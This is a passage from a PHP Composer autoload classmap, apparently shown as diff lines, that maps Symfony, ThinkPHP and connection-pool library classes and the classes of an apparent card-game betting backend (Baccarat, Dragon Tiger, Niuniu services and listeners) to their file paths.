__DIR__ . '/..' . '/open-smf/connection-pool/src/Connectors/CoroutinePostgreSQLConnector.php', - 'Smf\\ConnectionPool\\Connectors\\CoroutineRedisConnector' => __DIR__ . '/..' . '/open-smf/connection-pool/src/Connectors/CoroutineRedisConnector.php', - 'Smf\\ConnectionPool\\Connectors\\PDOConnector' => __DIR__ . '/..' . '/open-smf/connection-pool/src/Connectors/PDOConnector.php', - 'Smf\\ConnectionPool\\Connectors\\PhpRedisConnector' => __DIR__ . '/..' . '/open-smf/connection-pool/src/Connectors/PhpRedisConnector.php', - 'Stringable' => __DIR__ . '/..' . '/symfony/polyfill-php80/Resources/stubs/Stringable.php', - 'Symfony\\Component\\Finder\\Comparator\\Comparator' => __DIR__ . '/..' . '/symfony/finder/Comparator/Comparator.php', - 'Symfony\\Component\\Finder\\Comparator\\DateComparator' => __DIR__ . '/..' . '/symfony/finder/Comparator/DateComparator.php', - 'Symfony\\Component\\Finder\\Comparator\\NumberComparator' => __DIR__ . '/..' . '/symfony/finder/Comparator/NumberComparator.php', - 'Symfony\\Component\\Finder\\Exception\\AccessDeniedException' => __DIR__ . '/..' . '/symfony/finder/Exception/AccessDeniedException.php', - 'Symfony\\Component\\Finder\\Exception\\DirectoryNotFoundException' => __DIR__ . '/..' . '/symfony/finder/Exception/DirectoryNotFoundException.php', - 'Symfony\\Component\\Finder\\Finder' => __DIR__ . '/..' . '/symfony/finder/Finder.php', - 'Symfony\\Component\\Finder\\Gitignore' => __DIR__ . '/..' . '/symfony/finder/Gitignore.php', - 'Symfony\\Component\\Finder\\Glob' => __DIR__ . '/..' . '/symfony/finder/Glob.php', - 'Symfony\\Component\\Finder\\Iterator\\CustomFilterIterator' => __DIR__ . '/..' . '/symfony/finder/Iterator/CustomFilterIterator.php', - 'Symfony\\Component\\Finder\\Iterator\\DateRangeFilterIterator' => __DIR__ . '/..' . '/symfony/finder/Iterator/DateRangeFilterIterator.php', - 'Symfony\\Component\\Finder\\Iterator\\DepthRangeFilterIterator' => __DIR__ . '/..' . '/symfony/finder/Iterator/DepthRangeFilterIterator.php', - 'Symfony\\Component\\Finder\\Iterator\\ExcludeDirectoryFilterIterator' => __DIR__ . '/..' . '/symfony/finder/Iterator/ExcludeDirectoryFilterIterator.php', - 'Symfony\\Component\\Finder\\Iterator\\FileTypeFilterIterator' => __DIR__ . '/..' . '/symfony/finder/Iterator/FileTypeFilterIterator.php', - 'Symfony\\Component\\Finder\\Iterator\\FilecontentFilterIterator' => __DIR__ . '/..' . '/symfony/finder/Iterator/FilecontentFilterIterator.php', - 'Symfony\\Component\\Finder\\Iterator\\FilenameFilterIterator' => __DIR__ . '/..' . '/symfony/finder/Iterator/FilenameFilterIterator.php', - 'Symfony\\Component\\Finder\\Iterator\\MultiplePcreFilterIterator' => __DIR__ . '/..' . '/symfony/finder/Iterator/MultiplePcreFilterIterator.php', - 'Symfony\\Component\\Finder\\Iterator\\PathFilterIterator' => __DIR__ . '/..' . '/symfony/finder/Iterator/PathFilterIterator.php', - 'Symfony\\Component\\Finder\\Iterator\\RecursiveDirectoryIterator' => __DIR__ . '/..' . '/symfony/finder/Iterator/RecursiveDirectoryIterator.php', - 'Symfony\\Component\\Finder\\Iterator\\SizeRangeFilterIterator' => __DIR__ . '/..' . '/symfony/finder/Iterator/SizeRangeFilterIterator.php', - 'Symfony\\Component\\Finder\\Iterator\\SortableIterator' => __DIR__ . '/..' . '/symfony/finder/Iterator/SortableIterator.php', - 'Symfony\\Component\\Finder\\SplFileInfo' => __DIR__ . '/..' . '/symfony/finder/SplFileInfo.php', - 'Symfony\\Component\\VarDumper\\Caster\\AmqpCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/AmqpCaster.php', - 'Symfony\\Component\\VarDumper\\Caster\\ArgsStub' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/ArgsStub.php', - 'Symfony\\Component\\VarDumper\\Caster\\Caster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/Caster.php', - 'Symfony\\Component\\VarDumper\\Caster\\ClassStub' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/ClassStub.php', - 'Symfony\\Component\\VarDumper\\Caster\\ConstStub' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/ConstStub.php', - 'Symfony\\Component\\VarDumper\\Caster\\CutArrayStub' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/CutArrayStub.php', - 'Symfony\\Component\\VarDumper\\Caster\\CutStub' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/CutStub.php', - 'Symfony\\Component\\VarDumper\\Caster\\DOMCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/DOMCaster.php', - 'Symfony\\Component\\VarDumper\\Caster\\DateCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/DateCaster.php', - 'Symfony\\Component\\VarDumper\\Caster\\DoctrineCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/DoctrineCaster.php', - 'Symfony\\Component\\VarDumper\\Caster\\DsCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/DsCaster.php', - 'Symfony\\Component\\VarDumper\\Caster\\DsPairStub' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/DsPairStub.php', - 'Symfony\\Component\\VarDumper\\Caster\\EnumStub' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/EnumStub.php', - 'Symfony\\Component\\VarDumper\\Caster\\ExceptionCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/ExceptionCaster.php', - 'Symfony\\Component\\VarDumper\\Caster\\FrameStub' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/FrameStub.php', - 'Symfony\\Component\\VarDumper\\Caster\\GmpCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/GmpCaster.php', - 'Symfony\\Component\\VarDumper\\Caster\\ImagineCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/ImagineCaster.php', - 'Symfony\\Component\\VarDumper\\Caster\\ImgStub' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/ImgStub.php', - 'Symfony\\Component\\VarDumper\\Caster\\IntlCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/IntlCaster.php', - 'Symfony\\Component\\VarDumper\\Caster\\LinkStub' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/LinkStub.php', - 'Symfony\\Component\\VarDumper\\Caster\\MemcachedCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/MemcachedCaster.php', - 'Symfony\\Component\\VarDumper\\Caster\\PdoCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/PdoCaster.php', - 'Symfony\\Component\\VarDumper\\Caster\\PgSqlCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/PgSqlCaster.php', - 'Symfony\\Component\\VarDumper\\Caster\\ProxyManagerCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/ProxyManagerCaster.php', - 'Symfony\\Component\\VarDumper\\Caster\\RedisCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/RedisCaster.php', - 'Symfony\\Component\\VarDumper\\Caster\\ReflectionCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/ReflectionCaster.php', - 'Symfony\\Component\\VarDumper\\Caster\\ResourceCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/ResourceCaster.php', - 'Symfony\\Component\\VarDumper\\Caster\\SplCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/SplCaster.php', - 'Symfony\\Component\\VarDumper\\Caster\\StubCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/StubCaster.php', - 'Symfony\\Component\\VarDumper\\Caster\\SymfonyCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/SymfonyCaster.php', - 'Symfony\\Component\\VarDumper\\Caster\\TraceStub' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/TraceStub.php', - 'Symfony\\Component\\VarDumper\\Caster\\UuidCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/UuidCaster.php', - 'Symfony\\Component\\VarDumper\\Caster\\XmlReaderCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/XmlReaderCaster.php', - 'Symfony\\Component\\VarDumper\\Caster\\XmlResourceCaster' => __DIR__ . '/..' . '/symfony/var-dumper/Caster/XmlResourceCaster.php', - 'Symfony\\Component\\VarDumper\\Cloner\\AbstractCloner' => __DIR__ . '/..' . '/symfony/var-dumper/Cloner/AbstractCloner.php', - 'Symfony\\Component\\VarDumper\\Cloner\\ClonerInterface' => __DIR__ . '/..' . '/symfony/var-dumper/Cloner/ClonerInterface.php', - 'Symfony\\Component\\VarDumper\\Cloner\\Cursor' => __DIR__ . '/..' . '/symfony/var-dumper/Cloner/Cursor.php', - 'Symfony\\Component\\VarDumper\\Cloner\\Data' => __DIR__ . '/..' . '/symfony/var-dumper/Cloner/Data.php', - 'Symfony\\Component\\VarDumper\\Cloner\\DumperInterface' => __DIR__ . '/..' . '/symfony/var-dumper/Cloner/DumperInterface.php', - 'Symfony\\Component\\VarDumper\\Cloner\\Stub' => __DIR__ . '/..' . '/symfony/var-dumper/Cloner/Stub.php', - 'Symfony\\Component\\VarDumper\\Cloner\\VarCloner' => __DIR__ . '/..' . '/symfony/var-dumper/Cloner/VarCloner.php', - 'Symfony\\Component\\VarDumper\\Command\\Descriptor\\CliDescriptor' => __DIR__ . '/..' . '/symfony/var-dumper/Command/Descriptor/CliDescriptor.php', - 'Symfony\\Component\\VarDumper\\Command\\Descriptor\\DumpDescriptorInterface' => __DIR__ . '/..' . '/symfony/var-dumper/Command/Descriptor/DumpDescriptorInterface.php', - 'Symfony\\Component\\VarDumper\\Command\\Descriptor\\HtmlDescriptor' => __DIR__ . '/..' . '/symfony/var-dumper/Command/Descriptor/HtmlDescriptor.php', - 'Symfony\\Component\\VarDumper\\Command\\ServerDumpCommand' => __DIR__ . '/..' . '/symfony/var-dumper/Command/ServerDumpCommand.php', - 'Symfony\\Component\\VarDumper\\Dumper\\AbstractDumper' => __DIR__ . '/..' . '/symfony/var-dumper/Dumper/AbstractDumper.php', - 'Symfony\\Component\\VarDumper\\Dumper\\CliDumper' => __DIR__ . '/..' . '/symfony/var-dumper/Dumper/CliDumper.php', - 'Symfony\\Component\\VarDumper\\Dumper\\ContextProvider\\CliContextProvider' => __DIR__ . '/..' . '/symfony/var-dumper/Dumper/ContextProvider/CliContextProvider.php', - 'Symfony\\Component\\VarDumper\\Dumper\\ContextProvider\\ContextProviderInterface' => __DIR__ . '/..' . '/symfony/var-dumper/Dumper/ContextProvider/ContextProviderInterface.php', - 'Symfony\\Component\\VarDumper\\Dumper\\ContextProvider\\RequestContextProvider' => __DIR__ . '/..' . '/symfony/var-dumper/Dumper/ContextProvider/RequestContextProvider.php', - 'Symfony\\Component\\VarDumper\\Dumper\\ContextProvider\\SourceContextProvider' => __DIR__ . '/..' . '/symfony/var-dumper/Dumper/ContextProvider/SourceContextProvider.php', - 'Symfony\\Component\\VarDumper\\Dumper\\ContextualizedDumper' => __DIR__ . '/..' . '/symfony/var-dumper/Dumper/ContextualizedDumper.php', - 'Symfony\\Component\\VarDumper\\Dumper\\DataDumperInterface' => __DIR__ . '/..' . '/symfony/var-dumper/Dumper/DataDumperInterface.php', - 'Symfony\\Component\\VarDumper\\Dumper\\HtmlDumper' => __DIR__ . '/..' . '/symfony/var-dumper/Dumper/HtmlDumper.php', - 'Symfony\\Component\\VarDumper\\Dumper\\ServerDumper' => __DIR__ . '/..' . '/symfony/var-dumper/Dumper/ServerDumper.php', - 'Symfony\\Component\\VarDumper\\Exception\\ThrowingCasterException' => __DIR__ . '/..' . '/symfony/var-dumper/Exception/ThrowingCasterException.php', - 'Symfony\\Component\\VarDumper\\Server\\Connection' => __DIR__ . '/..' . '/symfony/var-dumper/Server/Connection.php', - 'Symfony\\Component\\VarDumper\\Server\\DumpServer' => __DIR__ . '/..' . '/symfony/var-dumper/Server/DumpServer.php', - 'Symfony\\Component\\VarDumper\\Test\\VarDumperTestTrait' => __DIR__ . '/..' . '/symfony/var-dumper/Test/VarDumperTestTrait.php', - 'Symfony\\Component\\VarDumper\\VarDumper' => __DIR__ . '/..' . '/symfony/var-dumper/VarDumper.php', - 'Symfony\\Polyfill\\Mbstring\\Mbstring' => __DIR__ . '/..' . '/symfony/polyfill-mbstring/Mbstring.php', - 'Symfony\\Polyfill\\Php72\\Php72' => __DIR__ . '/..' . '/symfony/polyfill-php72/Php72.php', - 'Symfony\\Polyfill\\Php80\\Php80' => __DIR__ . '/..' . '/symfony/polyfill-php80/Php80.php', - 'UnhandledMatchError' => __DIR__ . '/..' . '/symfony/polyfill-php80/Resources/stubs/UnhandledMatchError.php', - 'ValueError' => __DIR__ . '/..' . '/symfony/polyfill-php80/Resources/stubs/ValueError.php', - 'app\\AppService' => __DIR__ . '/../..' . '/app/AppService.php', - 'app\\ExceptionHandle' => __DIR__ . '/../..' . '/app/ExceptionHandle.php', - 'app\\Request' => __DIR__ . '/../..' . '/app/Request.php', - 'app\\handle\\controller\\Common' => __DIR__ . '/../..' . '/app/handle/controller/Common.php', - 'app\\handle\\controller\\Index' => __DIR__ . '/../..' . '/app/handle/controller/Index.php', - 'app\\handle\\controller\\Login' => __DIR__ . '/../..' . '/app/handle/controller/Login.php', - 'app\\handle\\controller\\Scan' => __DIR__ . '/../..' . '/app/handle/controller/Scan.php', - 'app\\index\\controller\\Common' => __DIR__ . '/../..' . '/app/index/controller/Common.php', - 'app\\index\\controller\\Index' => __DIR__ . '/../..' . '/app/index/controller/Index.php', - 'app\\index\\controller\\Login' => __DIR__ . '/../..' . '/app/index/controller/Login.php', - 'app\\index\\middleware\\checkLogin' => __DIR__ . '/../..' . '/app/index/middleware/checkLogin.php', - 'app\\listener\\GetState' => __DIR__ . '/../..' . '/app/listener/GetState.php', - 'app\\listener\\WsClose' => __DIR__ . '/../..' . '/app/listener/WsClose.php', - 'app\\listener\\WsConnect' => __DIR__ . '/../..' . '/app/listener/WsConnect.php', - 'app\\listener\\scan\\Baccarat' => __DIR__ . '/../..' . '/app/listener/scan/Baccarat.php', - 'app\\listener\\scan\\Dt' => __DIR__ . '/../..' . '/app/listener/scan/Dt.php', - 'app\\listener\\scan\\Nn' => __DIR__ . '/../..' . '/app/listener/scan/Nn.php', - 'app\\listener\\scan\\Tc' => __DIR__ . '/../..' . '/app/listener/scan/Tc.php', - 'app\\listener\\space\\ChangeBoot' => __DIR__ . '/../..' . '/app/listener/space/ChangeBoot.php', - 'app\\listener\\space\\EndBet' => __DIR__ . '/../..' . '/app/listener/space/EndBet.php', - 'app\\listener\\space\\EndRob' => __DIR__ . '/../..' . '/app/listener/space/EndRob.php', - 'app\\listener\\space\\OpeningBaccarat' => __DIR__ . '/../..' . '/app/listener/space/OpeningBaccarat.php', - 'app\\listener\\space\\OpeningDt' => __DIR__ . '/../..' . '/app/listener/space/OpeningDt.php', - 'app\\listener\\space\\OpeningNn' => __DIR__ . '/../..' . '/app/listener/space/OpeningNn.php', - 'app\\listener\\space\\OpeningTc' => __DIR__ . '/../..' . '/app/listener/space/OpeningTc.php', - 'app\\listener\\space\\ResetBoot' => __DIR__ . '/../..' . '/app/listener/space/ResetBoot.php', - 'app\\listener\\space\\ResetNumberTab' => __DIR__ . '/../..' . '/app/listener/space/ResetNumberTab.php', - 'app\\listener\\space\\StartBet' => __DIR__ . '/../..' . '/app/listener/space/StartBet.php', - 'app\\listener\\space\\StartRob' => __DIR__ . '/../..' . '/app/listener/space/StartRob.php', - 'app\\listener\\user\\CancelBet' => __DIR__ . '/../..' . '/app/listener/user/CancelBet.php', - 'app\\listener\\user\\ToBet' => __DIR__ . '/../..' . '/app/listener/user/ToBet.php', - 'app\\listener\\user\\ToRob' => __DIR__ . '/../..' . '/app/listener/user/ToRob.php', - 'app\\middleware\\checkLogin' => __DIR__ . '/../..' . '/app/middleware/checkLogin.php', - 'app\\models\\bet\\Bet' => __DIR__ . '/../..' . '/app/models/bet/Bet.php', - 'app\\models\\bet\\Cs' => __DIR__ . '/../..' . '/app/models/bet/Cs.php', - 'app\\models\\bet\\Xima' => __DIR__ . '/../..' . '/app/models/bet/Xima.php', - 'app\\models\\process\\Boot' => __DIR__ . '/../..' . '/app/models/process/Boot.php', - 'app\\models\\process\\NumberTab' => __DIR__ . '/../..' . '/app/models/process/NumberTab.php', - 'app\\models\\process\\RetreatedLog' => __DIR__ . '/../..' . '/app/models/process/RetreatedLog.php', - 'app\\models\\process\\Sumday' => __DIR__ . '/../..' . '/app/models/process/Sumday.php', - 'app\\models\\process\\WaybillRemind' => __DIR__ . '/../..' . '/app/models/process/WaybillRemind.php', - 'app\\models\\table\\ScanAccount' => __DIR__ . '/../..' . '/app/models/table/ScanAccount.php', - 'app\\models\\table\\Table' => __DIR__ . '/../..' . '/app/models/table/Table.php', - 'app\\models\\table\\UserController' => __DIR__ . '/../..' . '/app/models/table/UserController.php', - 'app\\models\\user\\User' => __DIR__ . '/../..' . '/app/models/user/User.php', - 'app\\services\\bet\\CancelBetService' => __DIR__ . '/../..' . '/app/services/bet/CancelBetService.php', - 'app\\services\\bet\\ToBetBaccaratService' => __DIR__ . '/../..' . '/app/services/bet/ToBetBaccaratService.php', - 'app\\services\\bet\\ToBetCommonService' => __DIR__ . '/../..' . '/app/services/bet/ToBetCommonService.php', - 'app\\services\\bet\\ToBetDtService' => __DIR__ . '/../..' . '/app/services/bet/ToBetDtService.php', - 'app\\services\\bet\\ToBetNnService' => __DIR__ . '/../..' . '/app/services/bet/ToBetNnService.php', - 'app\\services\\bet\\ToBetTcService' => __DIR__ . '/../..' . '/app/services/bet/ToBetTcService.php', - 'app\\services\\bet\\ToRobService' => __DIR__ . '/../..' . '/app/services/bet/ToRobService.php', - 'app\\services\\connect\\GetCardService' => __DIR__ . '/../..' . '/app/services/connect/GetCardService.php', - 'app\\services\\connect\\InitTableService' => __DIR__ . '/../..' . '/app/services/connect/InitTableService.php', - 'app\\services\\connect\\ScanConnectService' => __DIR__ . '/../..' . '/app/services/connect/ScanConnectService.php', - 'app\\services\\connect\\SpaceConnectService' => __DIR__ . '/../..' . '/app/services/connect/SpaceConnectService.php', - 'app\\services\\connect\\UserConnectService' => __DIR__ . '/../..' . '/app/services/connect/UserConnectService.php', - 'app\\services\\opening\\OpeningBaccaratService' => __DIR__ . '/../..' . '/app/services/opening/OpeningBaccaratService.php', - 'app\\services\\opening\\OpeningDtService' => __DIR__ . '/../..' . '/app/services/opening/OpeningDtService.php', - 'app\\services\\opening\\OpeningNnService' => __DIR__ . '/../..' . '/app/services/opening/OpeningNnService.php', - 'app\\services\\opening\\OpeningTcService' => __DIR__ . '/../..' . '/app/services/opening/OpeningTcService.php', - 'app\\services\\process\\CountdownService' => __DIR__ . '/../..' . '/app/services/process/CountdownService.php', - 'app\\services\\process\\EndBetService' => __DIR__ . '/../..' . '/app/services/process/EndBetService.php', - 'app\\services\\process\\EndRobService' => __DIR__ . '/../..' . '/app/services/process/EndRobService.php', - 'app\\services\\process\\ResetNumberTabService' => __DIR__ . '/../..' . '/app/services/process/ResetNumberTabService.php', - 'app\\services\\process\\StartBetService' => __DIR__ . '/../..' . '/app/services/process/StartBetService.php', - 'app\\services\\process\\StartRobService' => __DIR__ . '/../..' . '/app/services/process/StartRobService.php', - 'app\\services\\scan\\ScanBaccaratService' => __DIR__ . '/../..' . '/app/services/scan/ScanBaccaratService.php', - 'app\\services\\scan\\ScanCommonService' => __DIR__ . '/../..' . '/app/services/scan/ScanCommonService.php', - 'app\\services\\scan\\ScanDtService' => __DIR__ . '/../..' . '/app/services/scan/ScanDtService.php', - 'app\\services\\scan\\ScanNnService' => __DIR__ . '/../..' . '/app/services/scan/ScanNnService.php', - 'app\\services\\scan\\ScanTcService' => __DIR__ . '/../..' . '/app/services/scan/ScanTcService.php', - 'freedom\\basic\\BaseModel' => __DIR__ . '/../..' . '/freedom/basic/BaseModel.php', - 'freedom\\traits\\ModelTrait' => __DIR__ . '/../..' . '/freedom/traits/ModelTrait.php', - 'freedom\\utils\\CardPosition' => __DIR__ . '/../..' . '/freedom/utils/CardPosition.php', - 'freedom\\utils\\CardPositionNn' => __DIR__ . '/../..' . '/freedom/utils/CardPositionNn.php', - 'freedom\\utils\\CardPositionTc' => __DIR__ . '/../..' . '/freedom/utils/CardPositionTc.php', - 'freedom\\utils\\RedisUtil' => __DIR__ . '/../..' . '/freedom/utils/RedisUtil.php', - 'freedom\\utils\\SocketSession' => __DIR__ . '/../..' . '/freedom/utils/SocketSession.php', - 'freedom\\utils\\Waybill' => __DIR__ . '/../..' . '/freedom/utils/Waybill.php', - 'think\\App' => __DIR__ . '/..' . '/topthink/framework/src/think/App.php', - 'think\\Cache' => __DIR__ . '/..' . '/topthink/framework/src/think/Cache.php', - 'think\\Collection' => __DIR__ . '/..' . '/topthink/think-helper/src/Collection.php', - 'think\\Config' => __DIR__ . '/..' . '/topthink/framework/src/think/Config.php', - 'think\\Console' => __DIR__ . '/..' . '/topthink/framework/src/think/Console.php', - 'think\\Container' => __DIR__ . '/..' . '/topthink/framework/src/think/Container.php', - 'think\\Cookie' => __DIR__ . '/..' . '/topthink/framework/src/think/Cookie.php', - 'think\\Db' => __DIR__ . '/..' . '/topthink/framework/src/think/Db.php', - 'think\\DbManager' => __DIR__ . '/..' . '/topthink/think-orm/src/DbManager.php', - 'think\\Env' => __DIR__ . '/..' . '/topthink/framework/src/think/Env.php', - 'think\\Event' => __DIR__ . '/..' . '/topthink/framework/src/think/Event.php', - 'think\\Exception' => __DIR__ . '/..' . '/topthink/framework/src/think/Exception.php', - 'think\\Facade' => __DIR__ . '/..' . '/topthink/framework/src/think/Facade.php', - 'think\\File' => __DIR__ . '/..' . '/topthink/framework/src/think/File.php', - 'think\\Filesystem' => __DIR__ . '/..' . '/topthink/framework/src/think/Filesystem.php', - 'think\\Http' => __DIR__ . '/..' . '/topthink/framework/src/think/Http.php', - 'think\\Lang' => __DIR__ . '/..' . '/topthink/framework/src/think/Lang.php', - 'think\\Log' => __DIR__ . '/..' . '/topthink/framework/src/think/Log.php', - 'think\\Manager' => __DIR__ . '/..' . '/topthink/framework/src/think/Manager.php', - 'think\\Middleware' => __DIR__ . '/..' . '/topthink/framework/src/think/Middleware.php', - 'think\\Model' => __DIR__ . '/..' . '/topthink/think-orm/src/Model.php', - 'think\\Paginator' => __DIR__ . '/..' . '/topthink/think-orm/src/Paginator.php', - 'think\\Pipeline' => __DIR__ . '/..' . '/topthink/framework/src/think/Pipeline.php', - 'think\\Request' => __DIR__ . '/..' . '/topthink/framework/src/think/Request.php', - 'think\\Response' => __DIR__ . '/..' . '/topthink/framework/src/think/Response.php', - 'think\\Route' => __DIR__ . '/..' . '/topthink/framework/src/think/Route.php', - 'think\\Service' => __DIR__ . '/..' . '/topthink/framework/src/think/Service.php', - 'think\\Session' => __DIR__ . '/..' . '/topthink/framework/src/think/Session.php', - 'think\\Template' => __DIR__ . '/..' . '/topthink/think-template/src/Template.php', - 'think\\Validate' => __DIR__ . '/..' . '/topthink/framework/src/think/Validate.php', - 'think\\View' => __DIR__ . '/..' . '/topthink/framework/src/think/View.php', - 'think\\app\\MultiApp' => __DIR__ . '/..' . '/topthink/think-multi-app/src/MultiApp.php', - 'think\\app\\Service' => __DIR__ . '/..' . '/topthink/think-multi-app/src/Service.php', - 'think\\app\\Url' => __DIR__ . '/..' . '/topthink/think-multi-app/src/Url.php', - 'think\\app\\command\\Build' => __DIR__ . '/..' . '/topthink/think-multi-app/src/command/Build.php', - 'think\\app\\command\\Clear' => __DIR__ . '/..' . '/topthink/think-multi-app/src/command/Clear.php', - 'think\\cache\\Driver' => __DIR__ . '/..' . '/topthink/framework/src/think/cache/Driver.php', - 'think\\cache\\TagSet' => __DIR__ . '/..' . '/topthink/framework/src/think/cache/TagSet.php', - 'think\\cache\\driver\\File' => __DIR__ . '/..' . '/topthink/framework/src/think/cache/driver/File.php', - 'think\\cache\\driver\\Memcache' => __DIR__ . '/..' . '/topthink/framework/src/think/cache/driver/Memcache.php', - 'think\\cache\\driver\\Memcached' => __DIR__ . '/..' . '/topthink/framework/src/think/cache/driver/Memcached.php', - 'think\\cache\\driver\\Redis' => __DIR__ . '/..' . '/topthink/framework/src/think/cache/driver/Redis.php', - 'think\\cache\\driver\\Wincache' => __DIR__ . '/..' . '/topthink/framework/src/think/cache/driver/Wincache.php', - 'think\\captcha\\Captcha' => __DIR__ . '/..' . '/topthink/think-captcha/src/Captcha.php', - 'think\\captcha\\CaptchaController' => __DIR__ . '/..' . '/topthink/think-captcha/src/CaptchaController.php', - 'think\\captcha\\CaptchaService' => __DIR__ . '/..' . '/topthink/think-captcha/src/CaptchaService.php', - 'think\\captcha\\facade\\Captcha' => __DIR__ . '/..' . '/topthink/think-captcha/src/facade/Captcha.php', - 'think\\console\\Command' => __DIR__ . '/..' . '/topthink/framework/src/think/console/Command.php', - 'think\\console\\Input' => __DIR__ . '/..' . '/topthink/framework/src/think/console/Input.php', - 'think\\console\\Output' => __DIR__ . '/..' . '/topthink/framework/src/think/console/Output.php', - 'think\\console\\Table' => __DIR__ . '/..' . '/topthink/framework/src/think/console/Table.php', - 'think\\console\\command\\Clear' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/Clear.php', - 'think\\console\\command\\Help' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/Help.php', - 'think\\console\\command\\Lists' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/Lists.php', - 'think\\console\\command\\Make' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/Make.php', - 'think\\console\\command\\RouteList' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/RouteList.php', - 'think\\console\\command\\RunServer' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/RunServer.php', - 'think\\console\\command\\ServiceDiscover' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/ServiceDiscover.php', - 'think\\console\\command\\VendorPublish' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/VendorPublish.php', - 'think\\console\\command\\Version' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/Version.php', - 'think\\console\\command\\make\\Command' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/make/Command.php', - 'think\\console\\command\\make\\Controller' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/make/Controller.php', - 'think\\console\\command\\make\\Event' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/make/Event.php', - 'think\\console\\command\\make\\Listener' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/make/Listener.php', - 'think\\console\\command\\make\\Middleware' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/make/Middleware.php', - 'think\\console\\command\\make\\Model' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/make/Model.php', - 'think\\console\\command\\make\\Service' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/make/Service.php', - 'think\\console\\command\\make\\Subscribe' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/make/Subscribe.php', - 'think\\console\\command\\make\\Validate' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/make/Validate.php', - 'think\\console\\command\\optimize\\Route' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/optimize/Route.php', - 'think\\console\\command\\optimize\\Schema' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/optimize/Schema.php', - 'think\\console\\input\\Argument' => __DIR__ . '/..' . '/topthink/framework/src/think/console/input/Argument.php', - 'think\\console\\input\\Definition' => __DIR__ . '/..' . '/topthink/framework/src/think/console/input/Definition.php', - 'think\\console\\input\\Option' => __DIR__ . '/..' . '/topthink/framework/src/think/console/input/Option.php', - 'think\\console\\output\\Ask' => __DIR__ . '/..' . '/topthink/framework/src/think/console/output/Ask.php', - 'think\\console\\output\\Descriptor' => __DIR__ . '/..' . '/topthink/framework/src/think/console/output/Descriptor.php', - 'think\\console\\output\\Formatter' => __DIR__ . '/..' . '/topthink/framework/src/think/console/output/Formatter.php', - 'think\\console\\output\\Question' => __DIR__ . '/..' . '/topthink/framework/src/think/console/output/Question.php', - 'think\\console\\output\\descriptor\\Console' => __DIR__ . '/..' . '/topthink/framework/src/think/console/output/descriptor/Console.php', - 'think\\console\\output\\driver\\Buffer' => __DIR__ . '/..' . '/topthink/framework/src/think/console/output/driver/Buffer.php', - 'think\\console\\output\\driver\\Console' => __DIR__ . '/..' . '/topthink/framework/src/think/console/output/driver/Console.php', - 'think\\console\\output\\driver\\Nothing' => __DIR__ . '/..' . '/topthink/framework/src/think/console/output/driver/Nothing.php', - 'think\\console\\output\\formatter\\Stack' => __DIR__ . '/..' . '/topthink/framework/src/think/console/output/formatter/Stack.php', - 'think\\console\\output\\formatter\\Style' => __DIR__ . '/..' . '/topthink/framework/src/think/console/output/formatter/Style.php', - 'think\\console\\output\\question\\Choice' => __DIR__ . '/..' . '/topthink/framework/src/think/console/output/question/Choice.php', - 'think\\console\\output\\question\\Confirmation' => __DIR__ . '/..' . '/topthink/framework/src/think/console/output/question/Confirmation.php', - 'think\\contract\\Arrayable' => __DIR__ . '/..' . '/topthink/think-helper/src/contract/Arrayable.php', - 'think\\contract\\CacheHandlerInterface' => __DIR__ . '/..' . '/topthink/framework/src/think/contract/CacheHandlerInterface.php', - 'think\\contract\\Jsonable' => __DIR__ . '/..' . '/topthink/think-helper/src/contract/Jsonable.php', - 'think\\contract\\LogHandlerInterface' => __DIR__ . '/..' . '/topthink/framework/src/think/contract/LogHandlerInterface.php', - 'think\\contract\\ModelRelationInterface' => __DIR__ . '/..' . '/topthink/framework/src/think/contract/ModelRelationInterface.php', - 'think\\contract\\SessionHandlerInterface' => __DIR__ . '/..' . 